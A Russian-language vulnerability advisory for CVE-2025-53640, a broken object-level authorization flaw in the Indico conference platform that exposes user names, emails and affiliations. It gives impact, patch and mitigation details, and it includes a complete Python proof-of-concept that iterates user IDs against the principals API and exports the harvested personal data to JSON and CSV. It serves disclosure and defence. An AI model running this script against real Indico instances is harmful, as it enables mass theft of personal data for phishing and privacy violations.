
Уязвимость нарушенной авторизации на уровне объектов (BOLA) в системе Indico, используемой в CERN, приводит к перечислению аутентифицированных пользователей.
PoC и технический анализ CVE-2025-53640: уязвимость типа Broken Object Level Authorization (BOLA) в Indico позволяет перечислять аутентифицированных пользователей через конечную точку, раскрывая имена, адреса электронной почты и принадлежности. Включает скрипт эксплуатации, анализ запросов и скриншоты. Затрагивает глобально развернутые экземпляры Indico (Европейская организация по ядерным исследованиям (CERN), Организация Объединенных Наций (ООН), Массачусетский технологический институт (MIT), Европейское космическое агентство (ESA) и другие).
Уязвимость типа Broken Object Level Authorization (BOLA) в приложении с открытым исходным кодом Indico позволяет массовое перечисление пользователей через конечную точку.
Изначально предназначенная для разрешения идентификаторов пользователей в определенных полях формы, эта конечная точка может быть использована для получения личных данных любого действительного идентификатора пользователя:
Полное имя
Адрес электронной почты
Должность
Принадлежность
URL аватара
Уязвимость была сообщена и подтверждена мейнтейнерами Indico, и официально отслеживается как CVE-2025-53640
Требуется действительная аутентифицированная сессия.
Однако большинство публичных экземпляров Indico позволяют самостоятельную регистрацию без проверки электронной почты, CAPTCHA или ручного одобрения.
Это делает уязвимость практически эксплуатируемой неаутентифицированными пользователями после тривиального создания учетной записи.
Indico — широко используемая платформа управления мероприятиями и конференциями, разработанная CERN (Европейская организация по ядерным исследованиям), обеспечивающая работу академической и институциональной инфраструктуры по всему миру:
CERN (Европейская организация по ядерным исследованиям): Более 900 000 мероприятий ежегодно; 200+ комнат бронируется ежедневно.
По всему миру: Около 145 000 мероприятий/год в более чем 300 учреждениях.
ООН (Организация Объединенных Наций): Более 180 000 участников/год.
ЮНОГ (Отделение ООН в Женеве): До 700 000 пользователей/год.
Широко используется университетами, лабораториями, исследовательскими институтами и государственными учреждениями.
Примеры затронутых публичных экземпляров:
Из-за широкого распространения в научной, академической и государственной средах эта уязвимость представляет серьезные риски:
Утечка личных данных исследователей, сотрудников и администраторов
Масштабные нарушения конфиденциальности и раскрытие институциональных каталогов
Целенаправленная разведка для фишинга или социальной инженерии
Возможная компрометация чувствительных исследовательских и политических инициатив
Раскрытие личных данных (PII)
Перечисление привилегированных пользователей (администраторы, организаторы)
Поддержка массовых фишинговых и целевых фишинговых операций
Нарушает такие нормативные акты, как GDPR, LGPD и внутренние институциональные политики
Может быть признано подлежащим отчетности нарушением в зависимости от юрисдикции
Проблема была исправлена в Indico v3.3.7.
По словам мейнтейнеров, поведение конечной точки было изменено, чтобы предотвратить массовую выгрузку данных пользователей (имя, принадлежность и email) через предсказуемые ID. Также был введен новый флаг конфигурации ALLOW_PUBLIC_USER_SEARCH.
Дополнительные меры смягчения включают:
Ограничение проверок email при регистрации
Отключение разрешения ссылок на лиц при отключенном публичном поиске
Добавление предупреждений в интерфейсе для мероприятий без ACL при ограниченном поиске
#!/usr/bin/env python3
import requests
import json
import csv
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
url = "https://indico.<URL>/api/principals"
headers = {
"Cookie": "indico_session=YOUR_SESSION_COOKIE_HERE",
"Content-Type": "application/json",
"X-Csrf-Token": "YOUR_CSRF_TOKEN_HERE"
}
def enumerate_users(max_errors=10):
user_id = 1
errors = 0
results = []
while errors < max_errors:
payload = {"values": [f"User:{user_id}"]}
response = requests.post(url, headers=headers, data=json.dumps(payload), verify=False)
if response.status_code == 200:
data = response.json()
key = f"User:{user_id}"
if key in data and not data[key].get("invalid", True):
user = data[key]
print(f"[+] ID {user_id}: {user['first_name']} {user['last_name']} - {user['email']}")
results.append({
"user_id": user_id,
"name": f"{user['first_name']} {user['last_name']}",
"email": user["email"],
"affiliation": user["affiliation"],
"title": user["title"],
"avatar_url": user["avatar_url"]
})
errors = 0
else:
print(f"[-] ID {user_id}: Invalid")
errors += 1
else:
print(f"[!] ID {user_id}: HTTP Error {response.status_code}")
errors += 1
user_id += 1
with open("enumerated_users.json", "w", encoding="utf-8") as jf:
json.dump(results, jf, indent=2, ensure_ascii=False)
with open("enumerated_users.csv", "w", newline="", encoding="utf-8") as cf:
writer = csv.DictWriter(cf, fieldnames=["user_id", "name", "email", "affiliation", "title", "avatar_url"])
writer.writeheader()
writer.writerows(results)
print("Enumeration finished.")
if __name__ == "__main__":
enumerate_users()
Ограничьте доступ к конечной точке на основе роли или контекста
Установите ALLOW_PUBLIC_USER_SEARCH = false в indico.conf
Ограничьте раскрываемые поля пользователя только необходимыми
Отключите или ограничьте самостоятельную регистрацию (например, проверка email, одобрение администратором)
Включите мониторинг и ограничение частоты запросов на конечной точке
Немедленно обновитесь до Indico 3.3.7 или новее
Отслеживайте журналы доступа на предмет шаблонов перечисления
Официальный ID: CVE-2025-53640
Эта уязвимость была обнаружена в ходе оценки безопасности, проведенной в рамках программы стажировки Red Team в RNP (Rede Nacional de Ensino e Pesquisa – Бразилия).
Все исследования и тестирование выполнялись с предварительного разрешения и под надзором. Особая благодарность команде безопасности RNP за предоставление этических рекомендаций и инфраструктурной поддержки.
Данный CVE подчеркивает важность обеспечения строгого контроля доступа на уровне объектов на платформах, управляющих конфиденциальными институциональными данными.